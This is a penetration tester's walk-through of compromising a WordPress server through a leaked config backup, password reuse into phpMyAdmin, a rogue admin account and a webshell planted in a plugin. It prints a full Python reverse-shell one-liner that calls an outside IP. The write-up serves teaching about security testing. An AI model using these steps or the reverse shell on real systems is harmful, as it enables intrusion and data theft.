A few months ago I ran into WordPress on a penetration test. It was a generic web application security assessment, but in this case, I was able to compromise the server and most noteworthy to do pivoting thru the internal network. I thought I’d take the compromise walk-through and turn it into a blog post for you guys today. Therefore, let’s get started.
Although I ran other vulnerability scanners (Nessus, OpenVAS, HP Web Inspect) against the target website during the pentest, it was Acunetix that gave me the vulnerability that would become the proverbial first domino. What a cute little gem.
The scanner found a wp_config file which is usually not viewable externally. Probably, there was an issue while the developer or system administrator was working on the server. Maybe, he or she got disconnected from the server while editing the file and that caused the text editor (vi for example) to create a backup file called wp_config~ Wow – can you believe the scanner even found this?
Step 1: Running the Acunetix vulnerability scanner
Additionally, the Acunetix web vulnerability scanner identified the backup of a configuration file that contained database passwords located at http://www.targetcompany.com/blog/wp-config.php~
// ** MySQL settings – You can get this info from your web host ** //
/** The name of the database for WordPress */
/** MySQL database username */
/** MySQL database password */
Step 2: Database port is not remotely accessible so look for phpMyAdmin
Although I had database credentials, I had noticed in my scan data from the other vulnerability scanners that the target server was behind a Cisco ASA Firewall and the database port 3306 was not externally accessible. As a result, I couldn’t connect to the database directly because of the firewall not allowing access to the MySQL database port 3306.
It’s very common for webmasters to use a web-based tool such as phpMyAdmin to administer the database. Luckily for me, the targetcompany is running phpMyAdmin. Since I have database passwords, I guessed that the password for the targetcompanywp account which was weakpassword123 could also be the same password for the database administrative level account named root, and I was correct – it worked!
Access to the phpMyAdmin page is here:
Step 3: Credentials worked
The password weakpassword123 worked for the root account, and thus, I successfully logged in to phpMyAdmin.
Step 4: View all of the databases on the server
Here I see the names of the other databases on the server.
Step 5: View the users and their respective privilege levels
Next, I have moved on to the privileges tab to see what level of privileges that each user has. I hit the jackpot by being the root user. Most of all, I have ‘ALL PRIVILEGES’
Step 6: I can export all of the databases
If the goal of the attacker is to steal as much as possible, then the export option would, therefore, be the best way to go.
NOTE: This export option did NOT get executed in this engagement. Remember guys – we are pentesters – NOT hackers. As a result, the last thing you want to do as a pentester is actually to possess a customer’s business critical data. Proving you can access data is one thing, but staying on the safe side and just proving that you can get there – that’s usually all a customer needs to see to be happy with your work.
Step 7: Usernames and passwords
Afterward, I switched to the user’s table in the targetcompany database. Here, I see that the passwords for ALL of the customers are stored in clear text. Under those circumstances, I had to let the client know that is not a good idea.
..and more usernames and passwords
again, more usernames and passwords
and again more usernames and passwords
Step 8: Looking at the MySQL database
I switched to the user table in the MySQL database. I see here that WordPress has hashed passwords. The database has hashed passwords too.
Step 9: Attacking WordPress
I switched to the wp_users table in the targetcompany_blog database. I see here that WordPress has properly hashed and salted passwords.
Step 10: Create a privileged account in wordpress
Here I am creating a privileged account named joe_strategicsec in WordPress. Creating the account is a multi-step process which you will see in the following screenshots.
After filling out the menu items required to the create the account you’ll see the SQL statement execute.
Then after filling out the meta_key field menu item ‘wp_capabilities’ required to set the privilege level of the account you just created then you’ll see the SQL statement execute.
After filling out the next meta_key field menu item ‘wp_user_level’ required to set the privilege level of the account you just created then you’ll see the SQL statement execute.
Step 11: Leveraging WordPress access
I can now see the joe_strategicsec account that gets created in the WordPress database. Ok, well it is covered in red but just trust me it’s there.
Step 12: Login with the newly created WordPress account
I have logged in as user joe_strategicsec, so I can now see WordPress Dashboard.
Step 13: WordPress Users
Here I view the WordPress users
Step 14: Backdooring a wordpress plugin
I quickly switch to the plugins section and backdoor the Akismet plugin by replacing the source code of one of the pages with a PHP webshell. The code for a website is pretty easy – it’s just a few lines of PHP.
Step 15: Accessing the webshell
One can find the WordPress plugin that got converted to a webshell at:
To get the Linux server’s internal IP address, you can execute the command:
To get the Linux server’s version you can execute the command:
To get the Linux server’s kernel version you can execute the command:
Step 16: Use python to create a reverse shell
Executing system commands via a webshell is often required when attacking web servers, but a real command shell is the preferred access method. Since the target web server is behind a Cisco firewall, I cannot connect to the server directly. I must make the server connect to me since outbound firewall rules are often less restrictive than inbound firewall rules.
Inside of the webshell I can use python to create a reverse connecting network socket that encapsulates the Linux command shell. I do this by typing the following syntax into the webshell (yes I know that there there is no screenshot, but in the webshell just type the following line of python):
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“126.96.36.199”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
Now, you’ll see in the screenshot below that I have a netcat listener that receives a connection from the compromised server.
Here you’ll see that I do a /sbin/ifconfig and the host has a 192.168 address, so I know that this box is on an internal network.
PIVOTING TO THE INTERNAL NETWORK
Step 17: Attack the internal network
Next, I prove that I can attack the internal network with a command-line ping sweep. Since there was no Nmap installed, I wrote a quick for loop to ping the entire subnet.
Step 18: No nmap installed so went for a command-line ping sweep
At this point, I opted to end this portion of the engagement and notify the client that no further exploitation is required. It would only be a matter of time to achieve root access on this server via local privilege escalation, then install more hacking tools and pivot further into the internal network.